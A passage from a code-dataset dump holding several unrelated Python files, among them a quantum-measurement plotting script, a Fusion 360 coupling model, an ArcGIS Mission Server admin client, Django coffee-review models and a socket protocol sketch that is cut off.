{localFilePath}!\\n\")","sub_path":"chinstrap/chinstrapCore/SmartPy.py","file_name":"SmartPy.py","file_ext":"py","file_size_in_byte":7367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"80655565","text":"import sys\nsys.path.append(r'H:\\My Documents\\scripts')\nimport os, sys, time\nimport pickle\nimport pprint\nimport numpy as np\nimport matplotlib\nmatplotlib.use('PDF')\nfrom matplotlib import pyplot as plt\nfrom matplotlib import rcParams\nimport matplotlib.cm as cm\nfrom mpl_toolkits.axes_grid1 import ImageGrid\nfrom analysis.lib.lde import sscorr, fidelities\nfrom analysis import config\nimport plots\n\nrcParams['mathtext.default'] = 'regular'\nrcParams['legend.numpoints'] = 1\n\nsavedir=r'K:\\ns\\qt\\Diamond\\Data\\LDE\\analysis_output\\20121203-correlation_errorbars'\nsave=True\n\n#input\npsi1zz= np.array([4,65,45,30])\npsi1xx= np.array([31,22,17,47])\npsi1xmx=np.array([12,37,33,25])\npsi2zz= np.array([11,75,65,18])\npsi2xx= np.array([9,35,37,18])\npsi2xmx=np.array([34,15,16,38])\n\n#MLE\nMLE_psi1zz= np.array([0.0288194,0.489618,0.377342,0.104221])\nMLE_psi1xx= np.array([0.347542,0.142367,0.144885,0.365206])\nMLE_psi1xmx=np.array([0.142111,0.353196,0.363019,0.141671])\nMLE_psi2zz= np.array([0.0782529,0.468659,0.453088,0.0])#4.90529e-6?]\nMLE_psi2xx= np.array([0.11356,0.367033,0.445915,0.0734868])\nMLE_psi2xmx=np.array([0.43438,0.0803098,0.150726,0.334584])\n\n#MLE 68 % confidence interval, by integrating bayes posterior\nuub_MLE_psi1zz= np.array([0.0276903,0.0388668,0.0447773,0.0415935])\nuub_MLE_psi1xx= np.array([0.0522452,0.0450754,0.0449541,0.0426614])\nuub_MLE_psi1xmx=np.array([0.0468543,0.0468186,0.0512688,0.0476836])\nuub_MLE_psi2zz= np.array([0.0314114,0.0304977,0.0248612,0.0372983])#,??]\nuub_MLE_psi2xx= np.array([0.0465432,0.0467274,0.0490627,0.04935])\nuub_MLE_psi2xmx=np.array([0.0540812,0.0473227,0.0493825,0.0448651])\n\nulb_MLE_psi1zz=np.array([0.0112369,0.0539251,0.0503377,0.0371059])\nulb_MLE_psi1xx=np.array([0.0536684,0.0402851,0.0362558,0.0547676])\nulb_MLE_psi1xmx=np.array([0.0335634,0.056815,0.0575237,0.0447243])\nulb_MLE_psi2zz=np.array([0.0193261,0.052173,0.0568358,0.0])#,0.501097?]\nulb_MLE_psi2xx=np.array([0.0298936,0.0599388,0.0665112,0.0361024])\nulb_MLE_psi2xmx=np.array([0.0644261,0.0353756,0.0398248,0.0564824])\n\nclr_d = plots.colors['common']['dark']\nclr_m = plots.colors['common']['medium']\nclr_b = plots.colors['common']['bright']\n\nstates=['psi2','psi1']\nstatess = [r'$|\\Psi^-\\rangle$',r'$|\\Psi^+\\rangle$']\n\nfor si,state in enumerate(states):\n \n if state=='psi1':\n zz=psi1zz\n xx=psi1xx\n xmx=psi1xmx\n c_zz=MLE_psi1zz\n c_xx=MLE_psi1xx\n c_xmx=MLE_psi1xmx\n uub_c_zz=uub_MLE_psi1zz\n uub_c_xx=uub_MLE_psi1xx\n uub_c_xmx=uub_MLE_psi1xmx\n ulb_c_zz=ulb_MLE_psi1zz\n ulb_c_xx=ulb_MLE_psi1xx\n ulb_c_xmx=ulb_MLE_psi1xmx\n \n elif state=='psi2':\n zz=psi2zz\n xx=psi2xx\n xmx=psi2xmx \n c_zz=MLE_psi2zz\n c_xx=MLE_psi2xx\n c_xmx=MLE_psi2xmx\n uub_c_zz=uub_MLE_psi2zz\n uub_c_xx=uub_MLE_psi2xx\n uub_c_xmx=uub_MLE_psi2xmx\n ulb_c_zz=ulb_MLE_psi2zz\n ulb_c_xx=ulb_MLE_psi2xx\n ulb_c_xmx=ulb_MLE_psi2xmx\n \n u_zz=sscorr.get_correlation_errors(zz)\n u_xx=sscorr.get_correlation_errors(xx)\n u_xmx=sscorr.get_correlation_errors(xmx)\n \n \n bases = ['ZZ', 'XX', 'X-X']\n\n raw = np.array([zz,xx,xmx])\n u_raw=np.array([u_zz,u_xx,u_xmx])\n corr = np.array([c_zz,c_xx,c_xmx])\n uub_corr = np.array([uub_c_zz,uub_c_xx,uub_c_xmx])\n ulb_corr = np.array([ulb_c_zz,ulb_c_xx,ulb_c_xmx])\n\n ind = np.arange(4)\n w = 0.8\n #plt.rc('axes', grid=True)\n #plt.rc('grid', color='0.75', linestyle='-', linewidth=0.5)\n \n fig=plt.figure(figsize=(3,4.5)) \n left, width = 0.12, 0.37\n top, height= 0.1, 0.25\n axs=np.empty((0,2))\n for i,base in enumerate(bases):\n rect_left=[left, top, width, height]\n rect_right=[left+width+0.025, top, width, height]\n #if i==0:\n axs=np.vstack((axs,np.array([fig.add_axes(rect_left),fig.add_axes(rect_right)])))\n #else:\n # axs=np.vstack((axs,np.array([fig.add_axes(rect_left,sharex=axs[i-1,0]),fig.add_axes(rect_right,sharex=axs[i-1,1])])))\n\n top=top+height+0.02\n\n \n axs=axs[::-1,:]\n #fig,axs = plt.subplots(3,2,figsize=(8,12))\n for i,base in enumerate(bases):\n \n \n maxheight = 0\n j=si%2\n rects = axs[i,j].bar(ind,raw[i,:], w, color=clr_d)\n \n axs[i,j].set_xticks(ind+w/2)\n if i==2:\n axs[i,j].set_xticklabels(['00', '01', '10', '11'])\n axs[i,j].set_xlabel('State')\n else:\n axs[i,j].set_xticklabels([])\n axs[i,j].set_xlim(-0.1, 3.9)\n if i==1:\n axs[i,j].set_ylabel('Occurrences')\n #axs[i,k].set_title(state+', '+base+', raw')\n if j==1:\n axs[i,j].yaxis.tick_right()\n axs[i,j].yaxis.set_label_position('right') \n for k,r in enumerate(rects):\n h = r.get_height()\n if h > maxheight: \n maxheight = h\n # axs[i,j].text(ind[k]+w/2, h+1, str(int(raw[i,k])), ha='center', va='bottom')\n axs[i,j].set_ylim(0,maxheight+10)\n axs[i,j].text(3.7, (maxheight+10)*.5/0.55, base,ha='right', va='top')\n \n #-----------------------\n \n j=(si+1)%2\n rects = axs[i,j].bar(ind, corr[i,:], w, color=clr_b)\n axs[i,j].errorbar(ind+w/2, corr[i,:], yerr=[ulb_corr[i,:],uub_corr[i,:]], ecolor='k', fmt=None)\n axs[i,j].set_xticks(ind+w/2)\n if i==2:\n axs[i,j].set_xticklabels(['00', '01', '10', '11'])\n axs[i,j].set_xlabel('State')\n else:\n axs[i,j].set_xticklabels([])\n axs[i,j].set_xlim(-0.1, 3.9)\n #if i==1:\n #axs[i,j].set_ylabel('Fraction')\n axs[i,j].set_ylim(0.,0.55)\n if j==1:\n axs[i,j].set_yticklabels([])\n axs[i,j].yaxis.tick_right()\n axs[i,j].yaxis.set_label_position('right') \n axs[i,j].hlines([0.], -0.1, 3.9, color='k')\n #axs[i,j].set_title(state+', '+base+', corrected')\n for k,r in enumerate(rects):\n h = r.get_height()\n #axs[i,j].text(ind[k]+w/2, h+0.05, '%.2f' % h, ha='center', va='bottom')\n #axs[i,j].text(3.7, 0.5, base,ha='right', va='top')\n# for tick in axs[i,j].yaxis.get_major_ticks():\n# tick.label.set_ha('center')\n \n plt.suptitle(statess[si])\n \n if save:\n \n if not os.path.exists(savedir):\n os.makedirs(savedir)\n fig.savefig(os.path.join(savedir, 'correlations%s.pdf' % \\\n (state )))\n\n","sub_path":"plot_correlations_mle_v2.py","file_name":"plot_correlations_mle_v2.py","file_ext":"py","file_size_in_byte":6541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"293087171","text":"import adsk.core, adsk.fusion, traceback, math\n\ndef run(context):\n ui = None\n try: \n app = adsk.core.Application.get()\n ui = app.userInterface\n\n doc = app.documents.add(adsk.core.DocumentTypes.FusionDesignDocumentType)\n design = app.activeProduct\n rootComp = design.rootComponent\n\n sketch = rootComp.sketches.add(rootComp.xYConstructionPlane)\n points = adsk.core.ObjectCollection.create()\n pointsGroove = adsk.core.ObjectCollection.create()\n lines = sketch.sketchCurves.sketchLines\n features = rootComp.features\n extrudes = features.extrudeFeatures\n circlesPatterns = features.circularPatternFeatures\n chamferFeats = rootComp.features.chamferFeatures\n\n points.add(adsk.core.Point3D.create(0.55, 3, 0))\n points.add(adsk.core.Point3D.create(1.4, 3, 0))\n points.add(adsk.core.Point3D.create(1.4, 0.8, 0))\n points.add(adsk.core.Point3D.create(4, 0.8, 0))\n points.add(adsk.core.Point3D.create(4, 0, 0))\n points.add(adsk.core.Point3D.create(1.25, 0, 0))\n points.add(adsk.core.Point3D.create(1.25, 2, 0))\n points.add(adsk.core.Point3D.create(0.55, 2, 0))\n points.add(adsk.core.Point3D.create(0.55, 3, 0))\n\n for i in range(points.count-1):\n pt1 = points.item(i)\n pt2 = points.item(i+1)\n sketch.sketchCurves.sketchLines.addByTwoPoints(pt1, pt2)\n \n centerLine = lines.addByTwoPoints(adsk.core.Point3D.create(0, 0, 0), adsk.core.Point3D.create(0, 100, 0))\n profRevolvle = sketch.profiles.item(0)\n revolves = rootComp.features.revolveFeatures\n revInput = revolves.createInput(profRevolvle, centerLine, adsk.fusion.FeatureOperations.NewBodyFeatureOperation)\n angle = adsk.core.ValueInput.createByReal(math.pi*2)\n revInput.setAngleExtent(False, angle)\n ext = revolves.add(revInput)\n\n sketchGroove = rootComp.sketches.add(rootComp.xZConstructionPlane)\n pointsGroove.add(adsk.core.Point3D.create(0.461, 0.3, 3))\n pointsGroove.add(adsk.core.Point3D.create(0.661, 0.3, 3))\n pointsGroove.add(adsk.core.Point3D.create(0.661, -0.3, 3))\n pointsGroove.add(adsk.core.Point3D.create(0.461, -0.3, 3))\n pointsGroove.add(adsk.core.Point3D.create(0.461, 0.3, 3))\n\n for i in range(pointsGroove.count-1):\n ptGroove1 = pointsGroove.item(i)\n ptGroove2 = pointsGroove.item(i+1)\n sketchGroove.sketchCurves.sketchLines.addByTwoPoints(ptGroove1, ptGroove2)\n \n extGroove = adsk.core.ObjectCollection.create()\n extGroove = sketchGroove.profiles.item(0)\n extrudeFeatureGroove = features.extrudeFeatures \n extrudeFeatureInputGroove = extrudes.createInput(extGroove, adsk.fusion.FeatureOperations.CutFeatureOperation)\n extrudeFeatureInputGroove.isSolid = True\n extrudeFeatureInputGroove.setDistanceExtent(True, adsk.core.ValueInput.createByReal(500))\n extGrooveInput = extrudes.add(extrudeFeatureInputGroove)\n\n sketchSec = rootComp.sketches.add(rootComp.xZConstructionPlane)\n sketchCircles = sketchSec.sketchCurves.sketchCircles\n centerPoint = adsk.core.Point3D.create(2.75, 0, 0) \n sketchCircles.addByCenterRadius(centerPoint, 0.42)\n\n extAll = adsk.core.ObjectCollection.create()\n extAll.add(sketchSec.profiles.item(0))\n extrudeFeature = features.extrudeFeatures \n extrudeFeatureInput = extrudeFeature.createInput(extAll, adsk.fusion.FeatureOperations.CutFeatureOperation)\n extrudeFeatureInput.isSolid = True\n extrudeFeatureInput.setDistanceExtent(False, adsk.core.ValueInput.createByReal(10))\n hole = extrudeFeature.add(extrudeFeatureInput)\n\n patternsBody = hole.bodies.item(0)\n patternsFace = patternsBody.faces.item(0)\n\n inputEntites = adsk.core.ObjectCollection.create()\n inputEntites.add(patternsFace)\n\n yAxis = rootComp.yConstructionAxis\n\n circularFeats = rootComp.features.circularPatternFeatures\n circularFeatInput = circularFeats.createInput(inputEntites, yAxis)\n circularFeatInput.quantity = adsk.core.ValueInput.createByReal(4)\n circularFeatInput.totalAngle = adsk.core.ValueInput.createByString('360 deg')\n circularFeatInput.isSymmetric = False\n circularFeat = circularFeats.add(circularFeatInput)\n\n edgeCol = adsk.core.ObjectCollection.create()\n\n edges = ext.endFaces[0].edges\n for edgeI in edges:\n edgeCol.add(edgeI)\n\n chamferFeats = newComp.features.chamferFeatures\n chamferInput = chamferFeats.createInput(edgeCol, True)\n chamferInput.setToEqualDistance(self.chamferDistance)\n chamferFeats.add(chamferInput)\n\n filedlg = ui.createFileDialog()\n filedlg.initialDirectory = '/Samples'\n filedlg.filter = '*.f3d'\n if filedlg.showSave() == adsk.core.DialogResults.DialogOK:\n design = adsk.fusion.Design.cast(app.activeProduct)\n option = design.exportManager.createFusionArchiveExportOptions(filedlg.filename, design.rootComponent)\n design.exportManager.execute(option)\n \n except:\n if ui:\n ui.messageBox('Failed:\\n{}'.format(traceback.format_exc()))\n\n","sub_path":"Scripts/Half Coupling/NewScript1.py","file_name":"NewScript1.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"446408478","text":"\nimport os\nimport dotenv\nimport requests\n\n# Load the dotenv file into environment variables\ndotenv.load_dotenv()\ntoken = os.getenv('API_TOKEN')\n\nhostname = 'https://api.regulations.gov/'\nendpoint = 'v4/documents'\n\ndocketId = 'EPA-HQ-OAR-2003-0129'\nurl = hostname + endpoint\nparams = {'api_key': token,\n 'filter[docketId]' : docketId}\n\nresult = requests.get(url, params=params)\n\ndata = result.json()\nprint('Document IDs for',docketId+':')\nfor item in data['data']:\n print('\\t'+item['id'])\n","sub_path":"taskthree.py","file_name":"taskthree.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"505885355","text":"\"\"\"\nProject Euler Problem 4\n=======================\n\nA palindromic number reads the same both ways. The largest palindrome made\nfrom the product of two 2-digit numbers is 9009 = 91 * 99.\n\nFind the largest palindrome made from the product of two 3-digit numbers.\n\"\"\"\n\n\ndef is_palindrome(n):\n \"\"\"checks if a number is a palindrome, returns true or false\"\"\"\n if list(reversed(str(n))) == list(str(n)):\n return True\n else:\n return False\n\ntemp = range(101,1000)\n\nprint(max(filter(is_palindrome,{i*j for i in temp for j in temp})))\n\n\n","sub_path":"euler-py/004.py","file_name":"004.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"467642597","text":"import os\nfrom arcgis.gis import GIS\nfrom arcgis._impl.common._mixins import PropertyMap\n\n########################################################################\nclass SystemManager(object):\n \"\"\"\n The System resource is a collection of server-wide resources in your\n ArcGIS Mission Server site. Within this resource, you can access\n information and perform operations pertaining to licenses, Web\n Adaptors, containers, server properties, directories, Jobs, and the\n configuration store.\n \"\"\"\n _url = None\n _con = None\n _gis = None\n _dir = None\n _wam = None\n _properties = None\n #----------------------------------------------------------------------\n def __init__(self, url, gis):\n \"\"\"Constructor\"\"\"\n self._url = url\n if isinstance(gis, GIS):\n self._gis = gis\n self._con = self._gis._con\n else:\n raise ValueError(\"Invalid GIS object\")\n #----------------------------------------------------------------------\n def _init(self):\n \"\"\"loads the properties\"\"\"\n try:\n url = self._url + \"/properties\"\n params = {'f': 'json'}\n res = self._con.get(url, params)\n self._properties = PropertyMap(res)\n except:\n self._properties = PropertyMap({})\n #----------------------------------------------------------------------\n def __str__(self):\n return \"\".format(url=self._url)\n #----------------------------------------------------------------------\n def __repr__(self):\n return \"\".format(url=self._url)\n #----------------------------------------------------------------------\n @property\n def properties(self):\n \"\"\"\n ArcGIS Mission Server has configuration properties that govern\n some of its intricate behavior. This resource is a container for\n these properties. The properties are available to all server\n objects and extensions through the server environment interface.\n\n :returns: PropertyMap\n \"\"\"\n if self._properties is None:\n self._init()\n return self._properties\n #----------------------------------------------------------------------\n @properties.setter\n def properties(self, value):\n \"\"\"\n Sets the ArcGIS Mission Server has configuration properties that govern\n some of its intricate behavior. This resource is a container for\n these properties. The properties are available to all server\n objects and extensions through the server environment interface.\n\n :returns: PropertyMap\n \"\"\"\n properties: {\n \"PushIdentityToDatabase\": True,\n \"messageFormat\": \"esriServiceCatalogMessageFormatSoapOrBin\",\n \"uploadFileExtensionWhitelist\": \"soe,sd,sde,csv,txt,kmz,geodatabase\",\n \"featureServiceXSSFilter\": \"inputOutput\",\n \"percentageMaxAllowedComputeCores\": 50,\n \"percentageMaxAllowedComputeMemory\": 50 \n }\n props = {}\n url = self._url + \"/properties/update\"\n params = {'f' : 'json',\n 'properties' : {}}\n current = dict(self.properties)\n for k in current.keys():\n if k in value:\n params['properties'][k] = value[k]\n else:\n params['properties'][k] = current[k]\n res = self._con.post(url, params)\n if not 'status' in res:\n raise Exception(res)\n #----------------------------------------------------------------------\n @property\n def licenses(self):\n \"\"\"\n Gets the license resource list. The licenses resource lists the\n current license level of ArcGIS Mission Sever and all authorized\n extensions. Contact Esri Customer Service if you have questions\n about license levels or expiration properties.\n \"\"\"\n url = self._url + \"/licenses\"\n params = {\n \"f\" : \"json\"\n }\n return self._con.get(url,\n params)\n #----------------------------------------------------------------------\n @property\n def web_adaptors(self):\n \"\"\"\n returns a list of web adapters\n\n :return: List\n \"\"\"\n if self._wam is None:\n url = self._url + \"/webadaptors\"\n self._wam = WebAdaptorManager(url=url, gis=self._gis)\n return self._wam\n #----------------------------------------------------------------------\n @property\n def directories(self):\n \"\"\"Provides access to registering directories\"\"\"\n if self._dir is None:\n url = self._url + \"/directories\"\n self._dir = DirectoryManager(url=url, gis=self._gis)\n return self._dir\n #----------------------------------------------------------------------\n @property\n def config_store(self):\n \"\"\"\n The configuration store maintains configurations for ArcGIS Mission\n Server. Typical configurations include all the resources such as\n machines and security rules that are required to power the site. In\n a way, the configuration store is a physical representation of a site.\n\n Every ArcGIS Mission Server machine, when it joins the site, is\n provided with a connection to the configuration store and it can\n thereafter participate in the management of the site. You can change\n the store's properties during runtime using the edit operation.\n\n The Administrator API that runs on every server machine is capable\n of reading and writing to the store. As a result, the store must be\n accessible to every server machine within the site. The default\n implementation is built on top of a file system and stores all the\n configurations in a hierarchy of folders and files.\n\n :returns: dict\n\n \"\"\"\n url = self._url + \"/configStore\"\n params = {'f' : 'json'}\n return self._con.get(url, params)\n\n########################################################################\nclass DirectoryManager(object):\n \"\"\"\n A manages and maintains a collection of all server directories.\n \"\"\"\n _url = None\n _con = None\n _gis = None\n _properties = None\n #----------------------------------------------------------------------\n def __init__(self, url, gis):\n \"\"\"Constructor\"\"\"\n self._url = url\n if isinstance(gis, GIS):\n self._gis = gis\n self._con = self._gis._con\n else:\n raise ValueError(\"Invalid GIS object\")\n #----------------------------------------------------------------------\n def _init(self):\n \"\"\"loads the properties\"\"\"\n try:\n url = self._url\n params = {'f': 'json'}\n res = self._con.get(self._url, params)\n self._properties = PropertyMap(res)\n except:\n self._properties = PropertyMap({})\n #----------------------------------------------------------------------\n def __str__(self):\n return \"\".format(url=self._url)\n #----------------------------------------------------------------------\n def __repr__(self):\n return \"\".format(url=self._url)\n #----------------------------------------------------------------------\n @property\n def properties(self):\n \"\"\"returns the properties of the resource\"\"\"\n if self._properties is None:\n self._init()\n return self._properties\n #----------------------------------------------------------------------\n def list(self):\n \"\"\"\n returns the current registered directories\n\n :return: List\n\n \"\"\"\n self._properties = None\n val = dict(self.properties)\n return val['directories']\n #----------------------------------------------------------------------\n def register(self, name, path, directory_type):\n \"\"\"\n This operation registers a new data directory from your local\n machine with the ArcGIS Mission Server site. Registering a local\n folder as a data directory allows your mission authors to work with\n files in the folder.\n\n ================== ====================================================================\n **Parameter** **Description**\n ------------------ --------------------------------------------------------------------\n name\t The name of the directory.\n ------------------ --------------------------------------------------------------------\n path\t The full path to the directory on your machine.\n ------------------ --------------------------------------------------------------------\n directory_type\t The type of directory. Values: DATA | WORKSPACE | OUTPUT\n ================== ====================================================================\n\n :returns: boolean\n\n \"\"\"\n params = {\n 'f' : 'json',\n 'name' : name,\n 'path' : path,\n 'type' : directory_type\n }\n url = self._url + \"/register\"\n res = self._con.post(url, params)\n if 'status' in res:\n return res['status'] == 'success'\n return res\n #----------------------------------------------------------------------\n def unregister(self, directory_id):\n \"\"\"\n This operation unregisters an existing directory from the ArcGIS\n Mission Server site.\n\n ================== ====================================================================\n **Parameter** **Description**\n ------------------ --------------------------------------------------------------------\n directory_id Required String. The directory ID to remove.\n ================== ====================================================================\n\n :returns: boolean\n\n \"\"\"\n params = {'f' : 'json'}\n url = self._url + \"/{uid}/unregister\" .format(uid=directory_id)\n res = self._con.post(url, params)\n if 'status' in res:\n return res['status'] == 'success'\n return res\n########################################################################\nclass WebAdaptorManager(object):\n \"\"\"\n Manages and configures web adaptors for the ArcGIS Mission Server.\n \"\"\"\n _url = None\n _con = None\n _gis = None\n _properties = None\n #----------------------------------------------------------------------\n def __init__(self, url, gis):\n \"\"\"Constructor\"\"\"\n self._url = url\n if isinstance(gis, GIS):\n self._gis = gis\n self._con = self._gis._con\n else:\n raise ValueError(\"Invalid GIS object\")\n #----------------------------------------------------------------------\n def _init(self):\n \"\"\"loads the properties\"\"\"\n try:\n params = {'f': 'json'}\n res = self._con.get(self._url, params)\n self._properties = PropertyMap(res)\n except:\n self._properties = PropertyMap({})\n #----------------------------------------------------------------------\n def __str__(self):\n return \"\".format(url=self._url)\n #----------------------------------------------------------------------\n def __repr__(self):\n return \"\".format(url=self._url)\n #----------------------------------------------------------------------\n @property\n def properties(self):\n \"\"\"returns the properties of the resource\"\"\"\n if self._properties is None:\n self._init()\n return self._properties\n #----------------------------------------------------------------------\n def register(self,\n name,\n ip,\n webadapter_url,\n http_port,\n https_port,\n description=\"\"):\n \"\"\"\n Registers a new web adapter.\n\n ================== ====================================================================\n **Argument** **Description**\n ------------------ --------------------------------------------------------------------\n name Required String. The name of the web adapter\n ------------------ --------------------------------------------------------------------\n ip Required String. The IP of the web adapter.\n ------------------ --------------------------------------------------------------------\n webadapter_url Required String. The URI endpoint of the web adpater.\n ------------------ --------------------------------------------------------------------\n http_port Required Integer. The port number of the web adapter\n ------------------ --------------------------------------------------------------------\n https_port Required Integer. The secure port of the web adapter.\n ------------------ --------------------------------------------------------------------\n description Optional String. The optional web adapter description.\n ================== ====================================================================\n\n :returns: Boolean\n\n \"\"\"\n params = {\n \"f\" : \"json\",\n \"machineName\" : name,\n \"machineIP\" : ip,\n \"webAdaptorURL\" : webadaptor_url,\n \"description\" : description,\n \"httpPort\" : http_port,\n \"httpsPort\" : https_port\n }\n url = self._url + \"/register\"\n res = self._con.post(url, params)\n if 'status' in res:\n return res['status'] == 'success'\n return res\n #----------------------------------------------------------------------\n @property\n def config(self):\n \"\"\"\n Gets the Web Adaptors configuration which is a resource of all the\n configuration parameters shared across all the Web Adaptors in the\n site. Most importantly, this resource lists the shared key that is\n used by all the Web Adaptors to encrypt key data bits for the\n incoming requests to the server.\n \"\"\"\n url = self._url + \"/config\"\n params = {\n \"f\" : \"json\"\n }\n return self._con.get(url,\n params)\n #----------------------------------------------------------------------\n @config.setter\n def config(self, config):\n \"\"\"\n This is a property that allows for the retreival and manipulation of web adaptors.\n\n You can use this operation to change the Web Adaptor configuration\n and the sharedkey attribute. The sharedkey attribute must be present\n in the request.\n\n ================== ====================================================================\n **Argument** **Description**\n ------------------ --------------------------------------------------------------------\n config Required dict. The configuration items to be updated for this web\n adaptor. Always include the web adaptor's sharedkey attribute.\n ================== ====================================================================\n\n :return:\n A boolean indicating success (True), else a Python dictionary containing an error message.\n\n \"\"\"\n url = self._url + \"/config/update\"\n params = {\n \"f\" : \"json\",\n \"webAdaptorConfig\" : config\n }\n res = self._con.post(path=url,\n postdata=params)\n if 'status' in res:\n return res['status'] == 'success'\n return res\n #----------------------------------------------------------------------\n def list(self):\n \"\"\"\n Returns all registered Web Adapters\n\n :return: List\n \"\"\"\n url = self._url\n params = {'f' : 'json'}\n res = self._con.get(url, params)\n if \"webAdaptors\" in res:\n return [WebAdaptor(self._url + \"/{wa}\".format(wa=wa['id']),\n gis=self._gis) for wa in res[\"webAdaptors\"]]\n return res\n########################################################################\nclass WebAdaptor(object):\n \"\"\"\n This resource provides information about the ArcGIS Web Adaptor\n configured with your ArcGIS Mission Server site. ArcGIS Web Adaptor\n is a web application that runs in a front-end web server. One of the\n Web Adaptor's primary responsibilities is to forward HTTP requests\n from end users to ArcGIS Mission Server in a round-robin fashion.\n The Web Adaptor acts a reverse proxy, providing the end users with\n an entry point into the system, hiding the server itself, and\n providing some degree of immunity from back-end failures.\n\n The front-end web server could authenticate incoming requests against\n your enterprise identity stores and provide specific authentication\n schemes like Integrated Windows Authentication (IWA), HTTP Basic or\n Digest.\n\n Most importantly, ArcGIS Web Adaptor provides your end users with a\n well-defined entry point into your system without exposing the internal\n details of your server site. ArcGIS Mission Server will trust requests\n being forwarded by ArcGIS Web Adaptor and will not challenge the user\n for any credentials. However, the authorization of the request (by\n looking up roles and permissions) is still enforced by the server site.\n\n ArcGIS Mission Server use the WebSocket protocol for communication. You can\n update the maximum size of the file sent using WebSocket by updating your\n site's webSocketMaxHeapSize property.\n \"\"\"\n _url = None\n _con = None\n _gis = None\n _properties = None\n #----------------------------------------------------------------------\n def __init__(self, url, gis):\n \"\"\"Constructor\"\"\"\n self._url = url\n if isinstance(gis, GIS):\n self._gis = gis\n self._con = self._gis._con\n else:\n raise ValueError(\"Invalid GIS object\")\n #----------------------------------------------------------------------\n def _init(self):\n \"\"\"loads the properties\"\"\"\n try:\n params = {'f': 'json'}\n res = self._con.get(self._url, params)\n self._properties = PropertyMap(res)\n except:\n self._properties = PropertyMap({})\n #----------------------------------------------------------------------\n def __str__(self):\n return \"\".format(url=self._url)\n #----------------------------------------------------------------------\n def __repr__(self):\n return \"\".format(url=self._url)\n #----------------------------------------------------------------------\n def unregister(self):\n \"\"\"\n Unregisters a WebAdapter for the Mission Server\n :returns: boolean\n \"\"\"\n url = self._url + \"/unregister\"\n params = {'f':'json'}\n res = self._con.post(url, params)\n if 'status' in res:\n return res['status'] == 'success'\n return res\n\n\n\n","sub_path":"env/lib/python3.6/site-packages/arcgis/gis/mission/_system.py","file_name":"_system.py","file_ext":"py","file_size_in_byte":19564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"248466778","text":"import os\nimport urllib\nimport json\nimport uuid\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.db import models\nfrom django.db.models import Avg\nfrom django.core.validators import MinValueValidator, MaxValueValidator\nfrom django.db.models.signals import post_save\n\nfrom .signals import update_index\n\n\nAUTH_USER_MODEL = getattr(settings, 'AUTH_USER_MODEL', 'auth.User')\n\n\ndef content_file_name(filename):\n file_name, ext = os.path.splitext(filename)\n new_name = uuid.uuid4()\n return '/'.join(['pictures', new_name.hex + ext])\n\n\nclass Position(models.Model):\n longitude = models.FloatField()\n latitude = models.FloatField()\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return \"[%s, %s]\" % (self.longitude, self.latitude)\n\n\nclass Tag(models.Model):\n name = models.CharField(max_length=128)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now_add=True)\n user = models.ForeignKey(AUTH_USER_MODEL)\n\n def __str__(self):\n return self.name\n\n def get_absolute_url(self):\n return reverse_lazy('api-v1:tag-detail', kwargs={'pk': self.id})\n\n\nclass Coffee(models.Model):\n name = models.CharField(max_length=128)\n address = models.CharField(max_length=200)\n description = models.TextField()\n image = models.ImageField(upload_to=content_file_name, default='media/pictures/no-image.jpg', max_length=10000000)\n longitude = models.FloatField()\n latitude = models.FloatField()\n #position = models.ForeignKey(Position)\n tags = models.ManyToManyField(Tag)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return self.name\n\n # def save(self, *args, **kwargs):\n # \"\"\"\n # Creates a position bonded to a coffeehouse\n # Creates only on coffee-creation.\n # \"\"\"\n # if self.pk is None:\n # geo = json.loads(self.get_lat_lon(self.address))\n # position = Position()\n # if geo['status'] == \"OK\":\n # position.latitude = geo['results'][0]['geometry']['location']['lat']\n # position.longitude = geo['results'][0]['geometry']['location']['lng']\n # position.save()\n # self.position = position\n # super().save(*args, **kwargs)\n\n # def get_lat_lon(self, address):\n # \"\"\"\n # Fetches the latitude and longitude from an address\n # from Google's API\n # \"\"\"\n # address = urllib.parse.quote_plus(address)\n # geo = urllib.request.urlopen(\n # \"https://maps.googleapis.com/maps/api/geocode/json?sensor=false&address=%s\" % address)\n # return geo.readall().decode('utf-8')\n\n @property\n def rating(self):\n \"\"\"\n Rating calculated from all the reviews\n for this coffeehouse\n \"\"\"\n average = self.review.all().aggregate(Avg('rating'))['rating__avg']\n if not average:\n return 0\n return average\n\n\nclass Review(models.Model):\n rating = models.FloatField(validators=[MinValueValidator(0), MaxValueValidator(5)])\n coffee = models.ForeignKey(Coffee, related_name='review')\n description = models.TextField()\n user = models.ForeignKey(AUTH_USER_MODEL)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return \"%s\" % self.rating\n\n# Update our indexes when a new coffeehouse is created\npost_save.connect(update_index, sender=Coffee)","sub_path":"positioningservice/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"37685474","text":"import socket,time\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.bind((socket.gethostname(),1234))\ns.listen(5)\n\nclientSocket,address=s.accept()\n\nclass frame():\n def __init__(self,seqno,ackno,data):\n self.seqno=seqno\n self.ackno=ackno\n self.data=data\n\ndef from_network_layer():\n print(\"Enter data to send\")\n data=raw_input()\n return data\n\ndef to_physical_layer(f):\n print(\"sending data to to_physical_layer\")\n print(str(f.seqno))\n print(str(f.data))\n clientSocket.send(str(f.seqno))\n clientSocket.send(str(f.data))\n return\n\ndef wait_for_event():\n while True:\n try:\n 